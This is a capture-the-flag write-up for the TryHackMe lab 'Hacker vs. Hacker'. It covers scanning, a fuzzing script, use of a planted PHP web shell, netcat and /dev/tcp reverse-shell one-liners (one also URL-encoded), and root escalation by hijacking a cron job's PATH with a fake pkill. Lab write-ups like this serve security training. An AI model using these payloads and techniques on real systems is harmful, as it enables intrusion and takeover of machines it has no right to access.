THM Writeup – Hacker vs. Hacker

THM Writeup – Hacker vs. Hacker

THM Writeup - Hacker vs. Hacker

Someone has compromised this server already! Can you get in and evade their countermeasures?

Room: Hacker vs. Hacker

Difficulty: Easy

Operating System: Linux

Author: Aquinas

The server of this recruitment company appears to have been hacked, and the hacker has defeated all attempts by the admins to fix the machine. They can’t shut it down (they’d lose SEO!) so maybe you can help?

Add IP address to your hosts file:

echo '10.10.4.82    hacker.thm' >> /etc/hosts

Scan the target machine – find open ports first:

nmap -n -Pn -sS -p- --open -min-rate 5000 -vvv hacker.thm

PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 64
80/tcp open  http    syn-ack ttl 64

Get more details about open ports:

nmap -T4 -A -p 22,80 hacker.thm

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: RecruitSec: Industry Leading Infosec Recruitment

We have 2 ports open: 22 (SSH – Secure Shell), 80 (HTTP – Apache server)

Finding a Way In

Let’s check web application – browse to http://hacker.thm:

hacker.thm - web application RecruitSec

Scroll down and you’ll find out that we are able to upload a file:

hacker.thm - RecruitSec application - upload CV

Now view the page source – by scrolling down to file upload section we find and interesting comment:

hacker.thm web application's page source

/cvs is probably a directory

Check it out by browsing to http://hacker.thm/cvs:

hacker.thm - web application /cvs directory

Yes, it is a directory, however unfortunatelly for us directory listing is disabled.

Directory brute-force the web application – we might discover more interesting directories:

root@attackbox:~# gobuster dir -u http://hacker.thm -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html

===============================================================
2022/08/16 12:28:35 Starting gobuster
===============================================================
/images (Status: 301)
/index.html (Status: 200)
/upload.php (Status: 200)
/css (Status: 301)
/cvs (Status: 301)
/dist (Status: 301)
/server-status (Status: 403)
===============================================================
2022/08/16 12:30:29 Finished
===============================================================

Now let’s try to browse to http://hacker.thm/upload.php:

web app - upload.php

As we were told, this web application has already been hacked.

At this point I created a test file to try and catch upload process by BurpSuite – so create a file first:

echo 'test file content' > test.txt

Start BurpSuite and try to upload the test file test.txt:

BurpSuite upload request and response

As we can see in the response, the upload PHP code is commented out and disclosed to us. Thanks to that we now know few things:

  • the target upload directory is cvs – we found the directory earlier
  • how the application determines an uploaded file extension – it uses strpos() function

Quick googling tells us how the strpos() function works:

strpos function syntax

Ok, there are 2 required parameters, the function finds a string (second parameter) in a string (first parameter), however the function doesn’t care where (string’s position) is the wanted string found, e.g. wherever is .pdf found the function’s output is true. This means we can easily bypass the function by using more extensions, e.g. test.pdf.php – this must have been exploited by a hacker…

Well, upload.php was “closed” by a hacker, so how we get in? As mentioned before, a hacker had to upload a shell, so let’s try to find it. It might still reside in cvs directory.

I wrote my own little python fuzzing script:

#!/usr/bin/env python3
import requests
import sys
import datetime

URL = sys.argv[1]
FILE = sys.argv[2]

localtime = '{0:%Y-%m-%d %H:%M:%S}'.format(datetime.datetime.now())
print("===========================================")
print(localtime, "Starting fz")
print("===========================================")

with open(FILE, "r",  encoding="ISO-8859-1") as wl_file:
  for line in wl_file:
    stripped_line = line.strip()
    cURL = URL.replace("FUZZ", stripped_line)
    print("Testing word: " + stripped_line + ' ' * 20, end = "\r")

    r = requests.get(cURL)
    
    # This depends on the situation:
    if r.status_code != 404:
      print(cURL, "(Status:", str(r.status_code) + ")")

localtime = '{0:%Y-%m-%d %H:%M:%S}'.format(datetime.datetime.now())
print("===========================================")
print(localtime, "Finished")
print("===========================================")

Save it to a file named fz and make it executable:

chmod +x fz

Fuzz the cvs directory:

root@attackbox:~# ./fz http://hacker.thm/cvs/FUZZ.pdf.php /usr/share/wordlists/dirb/big.txt 
===========================================
2022-08-16 14:17:20 Starting fz
===========================================
http://hacker.thm/cvs/.htaccess.pdf.php (Status: 403)
http://hacker.thm/cvs/.htpasswd.pdf.php (Status: 403)
http://hacker.thm/cvs/shell.pdf.php (Status: 200)        
===========================================            
2022-08-16 14:18:25 Finished
===========================================

Great, we found the shell, check it by browsing it:

web app - shell.pdf.php

At this point I was not sure what to do next, but I remembered that I use cmd query parameter with php shell, so I gave it a try:

web app - shell.pdf.php with cmd=id

Awesome, let’s get a reverse shell now.

Getting Reverse Shell

Run netcat listener:

nc -lnvp 4242

Take this as cmd parameter value:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.15.172 4242 >/tmp/f

Make sure to edit the IP address to IP address of your attacking machine and then URL encode it.

I used BurpSuite’s Decoder module:

BurpSuite - Decoder module

Now browse to:

http://hacker.thm/cvs/shell.pdf.php?cmd=%72%6d%20%2f%74%6d%70%2f%66%3b%6d%6b%66%69%66%6f%20%2f%74%6d%70%2f%66%3b%63%61%74%20%2f%74%6d%70%2f%66%7c%2f%62%69%6e%2f%73%68%20%2d%69%20%32%3e%26%31%7c%6e%63%20%31%30%2e%31%30%2e%31%35%2e%31%37%32%20%34%32%34%32%20%3e%2f%74%6d%70%2f%66

Don’t forget to change cmd parameter’s value.

And we have a reverse shell:

root@attackbox:~# nc -lnvp 4242
Listening on [0.0.0.0] (family 0, port 4242)
Connection from 10.10.4.82 40730 received!
/bin/sh: 0: can't access tty; job control turned off
$ id 
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Find user.txt and read it:

$ ls -la /home
total 12
drwxr-xr-x  3 root    root    4096 May  5 04:38 .
drwxr-xr-x 19 root    root    4096 May  5 03:46 ..
drwxr-xr-x  4 lachlan lachlan 4096 May  5 04:39 lachlan
$ ls -la /home/lachlan
total 36
drwxr-xr-x 4 lachlan lachlan 4096 May  5 04:39 .
drwxr-xr-x 3 root    root    4096 May  5 04:38 ..
-rw-r--r-- 1 lachlan lachlan  168 May  5 04:38 .bash_history
-rw-r--r-- 1 lachlan lachlan  220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 lachlan lachlan 3771 Feb 25  2020 .bashrc
drwx------ 2 lachlan lachlan 4096 May  5 04:39 .cache
-rw-r--r-- 1 lachlan lachlan  807 Feb 25  2020 .profile
drwxr-xr-x 2 lachlan lachlan 4096 May  5 04:38 bin
-rw-r--r-- 1 lachlan lachlan   38 May  5 04:38 user.txt
$ cat /home/lachlan/user.txt
thm{[REDACTED]}

Privilege Escalation

As we can see .bash_history is not empty, so let’s check it:

$ cat /home/lachlan/.bash_history
./cve.sh
./cve-patch.sh
vi /etc/cron.d/persistence
echo -e "[REDACTED]\n[REDACTED]\n[REDACTED]" | passwd
ls -sf /dev/null /home/lachlan/.bash_history
$

Try to login as lachlan via SSH (use the last part of the password we just revealed):

root@attackbox:~# ssh lachlan@hacker.thm
The authenticity of host 'hacker.thm (10.10.4.82)' can't be established.
ECDSA key fingerprint is SHA256:1JL2Lj4XaQRN1Z9r5+bXLO4sqNT0NssAebebHwtmF/k.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added 'hacker.thm,10.10.4.82' (ECDSA) to the list of known hosts.
lachlan@hacker.thm's password: 
Welcome to Ubuntu 20.04.4 LTS (GNU/Linux 5.4.0-109-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Tue 16 Aug 2022 02:24:59 PM UTC

  System load:  0.0               Processes:             130
  Usage of /:   26.5% of 9.78GB   Users logged in:       0
  Memory usage: 42%               IPv4 address for eth0: 10.10.4.82
  Swap usage:   0%


0 updates can be applied immediately.


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Thu May  5 04:39:19 2022 from 192.168.56.1
$ nope
Connection to hacker.thm closed.
root@attackbox:~#

The login was successful, however our ssh session was terminated after few seconds.

My guess is, there must be a cron job terminating ssh sessions:

$ cat /etc/cron.d/persistence
PATH=/home/lachlan/bin:/bin:/usr/bin
# * * * * * root backup.sh
* * * * * root /bin/sleep 1  && for f in `/bin/ls /dev/pts`; do /usr/bin/echo nope > /dev/pts/$f && pkill -9 -t pts/$f; done
* * * * * root /bin/sleep 11 && for f in `/bin/ls /dev/pts`; do /usr/bin/echo nope > /dev/pts/$f && pkill -9 -t pts/$f; done
* * * * * root /bin/sleep 21 && for f in `/bin/ls /dev/pts`; do /usr/bin/echo nope > /dev/pts/$f && pkill -9 -t pts/$f; done
* * * * * root /bin/sleep 31 && for f in `/bin/ls /dev/pts`; do /usr/bin/echo nope > /dev/pts/$f && pkill -9 -t pts/$f; done
* * * * * root /bin/sleep 41 && for f in `/bin/ls /dev/pts`; do /usr/bin/echo nope > /dev/pts/$f && pkill -9 -t pts/$f; done
* * * * * root /bin/sleep 51 && for f in `/bin/ls /dev/pts`; do /usr/bin/echo nope > /dev/pts/$f && pkill -9 -t pts/$f; done
$

Yes, here we are. There is another thing that hit my eyes – the PATH variable. I noticed the /home/lachlan/bin directory before, but didn’t pay attention to it untill now 🙂 What we need to do, is to create an executable named pkill in the /home/lachlan/bin directory…

But we don’t have write permissions:

$ ls -la /home/lachlan
total 36
drwxr-xr-x 4 lachlan lachlan 4096 May  5 04:39 .
drwxr-xr-x 3 root    root    4096 May  5 04:38 ..
-rw-r--r-- 1 lachlan lachlan  168 May  5 04:38 .bash_history
-rw-r--r-- 1 lachlan lachlan  220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 lachlan lachlan 3771 Feb 25  2020 .bashrc
drwx------ 2 lachlan lachlan 4096 May  5 04:39 .cache
-rw-r--r-- 1 lachlan lachlan  807 Feb 25  2020 .profile
drwxr-xr-x 2 lachlan lachlan 4096 May  5 04:38 bin
-rw-r--r-- 1 lachlan lachlan   38 May  5 04:38 user.txt

So we can’t create a file in bin directory as www-data user.

We need to prepare a command, login as lachlan user and execute the command before the cron job kicks us out:

echo "bash -c 'bash -i >& /dev/tcp/10.10.15.172/4243 0>&1'" > bin/pkill; chmod +x bin/pkill

Do not forget to run a listener before you login and execute command above:

nc -lnvp 4243

And we have reverse shell as root user:

root@attackbox:~# nc -lnvp 4243
Listening on [0.0.0.0] (family 0, port 4243)
Connection from 10.10.4.82 51540 received!
bash: cannot set terminal process group (10950): Inappropriate ioctl for device
bash: no job control in this shell
root@b2r:~#

Find the root flag and read it:

root@b2r:~# ls -la /root
ls -la /root
total 28
drwx------  4 root root 4096 May  5 04:38 .
drwxr-xr-x 19 root root 4096 May  5 03:46 ..
lrwxrwxrwx  1 root root    9 May  5 04:38 .bash_history -> /dev/null
-rw-r--r--  1 root root 3106 Dec  5  2019 .bashrc
-rw-r--r--  1 root root  161 Dec  5  2019 .profile
-rw-r--r--  1 root root   38 May  5 04:38 root.txt
drwx------  3 root root 4096 May  5 03:46 snap
drwx------  2 root root 4096 May  5 03:46 .ssh
root@b2r:~# cat /root/root.txt	
cat /root/root.txt
thm{[REDACTED]}

Do you like this writeup? Check out other THM Writeups.

Comments are closed.